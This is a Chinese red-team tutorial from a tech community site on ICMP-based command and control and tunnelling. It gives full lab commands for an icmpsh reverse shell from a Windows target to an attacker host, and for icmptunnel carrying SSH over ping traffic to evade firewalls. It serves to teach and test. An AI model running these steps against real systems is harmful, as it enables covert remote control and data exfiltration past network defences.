前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用ICMP进行命令控制和隧道传输

利用ICMP进行命令控制和隧道传输

作者头像
FB客服
发布2019-08-21 21:46:32
1.4K0
发布2019-08-21 21:46:32
举报
文章被收录于专栏:FreeBufFreeBuf

在这篇文章中,你会了解到通过ICMP命令控制和ICMP隧道进行数据窃取的RED TEAM行动,使用这两种方法在网络中产生的畸形流量,有助于规避防火墙规则。

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活。

利用ICMP协议进行命令控制

我们发布的很多内容中都讨论了C2通道,又叫做命令控制,具体内容可以在这里找到。而在这篇文章中,你会了解到如何将ICMP协议用作命令控制通道。网络战中散布着入侵者和安全研究人员,因此,我们需要备用计划。

众所周知,现在的公司变得更加智能,他们可以理解例如类型相关的攻击在实现了机器的TCP反弹连接。因此我们提出了使用icmpsh作为命令控制工具的一种ICMP隐蔽shell的实现方法。

环境要求

攻击机/C2通道:192.168.1.108(Kali Linux)

宿主机:192.168.1.106(Windows 10)

icmpsh:C2通道与安装方法

icmpsh是一个简单的ICMP反弹shell,拥有用C,Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。

这一工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有Nico Leidecker用C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

Icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。

代码语言:javascript
复制
git clone https://github.com/inquisb/icmpsh.git
以主模式运行icmpsh(Kali Linux)

下载完成之后,使用以下命令来运行主控端。执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。

代码语言:javascript
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1cd icmpshsyntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>./icmpsh_m.py 192.168.1.108 192.168.1.106
以从模式运行icmpsh(Windows 10)

在宿主机器中以从模式再次安装icmpsh工具,运行受控端的目标机器中的用户不需要具有管理员权限。然后运行以下命令:

代码语言:javascript
复制
syntax: icmpsh.exe -t <Kali IP>icmpsh.exe -t 192.168.1.108

在宿主机上执行完上述命令后,攻击者就会收到运行着受控端的机器的反弹shell。你可以从下面给出的图片中观察到,这台主控端机器通过受控端机器返回的命令提示符获取了其控制权。

和我们预期的结果完全一样,而且由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

ICMP隧道搭建

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。在此我们会获取一个被封装到ICMP包中的ssh会话。这也需要在第三层,即网络层,建立一个封装在icmp载荷中的tcp连接,这样对于绕过防火墙规则可能也有一定的帮助。

环境要求

服务端机器:

ens33:192.168.1.108 tun0:10.0.0.1

客户端机器:

eth0: 192.168.1.111 tun0:10.0.0.2

icmptunnel是一个将IP流量封装到ICMP echo请求和回复(ping)包中的隧道工具,是在允许ping的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

虽然一些现有工具已经实现了这一技术,但在穿透状态防火墙和NAT方面,icmptunnel提供了一个更可靠的协议和机制。

在服务端机器(目标)上配置ICMP

在宿主机上下载并安装icmptunnel,按照下面图中的命令进行编译

代码语言:javascript
复制
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

首先,在客户端和服务端都禁用ICMP echo回复。这样可以防止内核自己对ping包进行响应。

代码语言:javascript
复制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

在服务端(宿主机),以服务端模式启动icmptunnel,并且给新的隧道接口分配一个IP地址。

代码语言:javascript
复制
./icmptunnel -sCtrlzbg/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0ifconfig

在客户端机器(攻击者)上配置ICMP

类似地,在攻击者机器上重复同样的流程安装用于p2p连接的icmptunnel。

代码语言:javascript
复制
git clone https://github.com/jamesbarlow/icmptunnel.git

首先,对其进行编译,然后禁用ICMP echo回复防止内核自己对ping包进行响应。

代码语言:javascript
复制
cd icmptunnelmakeecho 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all./icmptunnel 192.168.1.108ctrl z/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

通过ICMP连接SSH

到这里应该通过ICMP包建立了一个点对点隧道。服务端的隧道IP是10.0.0.1,客户端的隧道IP是10.0.0.2。尝试通过客户端上的tcp协议,SSH,来连接到服务端:

代码语言:javascript
复制
ssh raj@10.0.0.1

在初始阶段,icmp隧道就在服务端和客户端之间建立了连接,如下图我们借助Wireshark捕获的服务端和客户端之间的流量所示。

每个流量都是ICMP包。ICMP的载荷部分就是HTTP/IP包。HTTP/IP包会被加速传递到网络中。注意源IP是怎样由于nat存在而被改变的。因此,流量不会出现在通过22号端口连接SSH所使用的传输层中。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ICMP协议工作方式简介
  • 利用ICMP协议进行命令控制
    • 环境要求
      • icmpsh:C2通道与安装方法
        • 以主模式运行icmpsh(Kali Linux)
        • 以从模式运行icmpsh(Windows 10)
    • ICMP隧道搭建
      • 环境要求
        • 在服务端机器(目标)上配置ICMP
          • 在客户端机器(攻击者)上配置ICMP
            • 通过ICMP连接SSH
            相关产品与服务
            专用宿主机
            专用宿主机(CVM Dedicated Host,CDH)提供用户独享的物理服务器资源,满足您资源独享、资源物理隔离、安全、合规需求。专用宿主机搭载了腾讯云虚拟化系统,购买之后,您可在其上灵活创建、管理多个自定义规格的云服务器实例,自主规划物理资源的使用。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档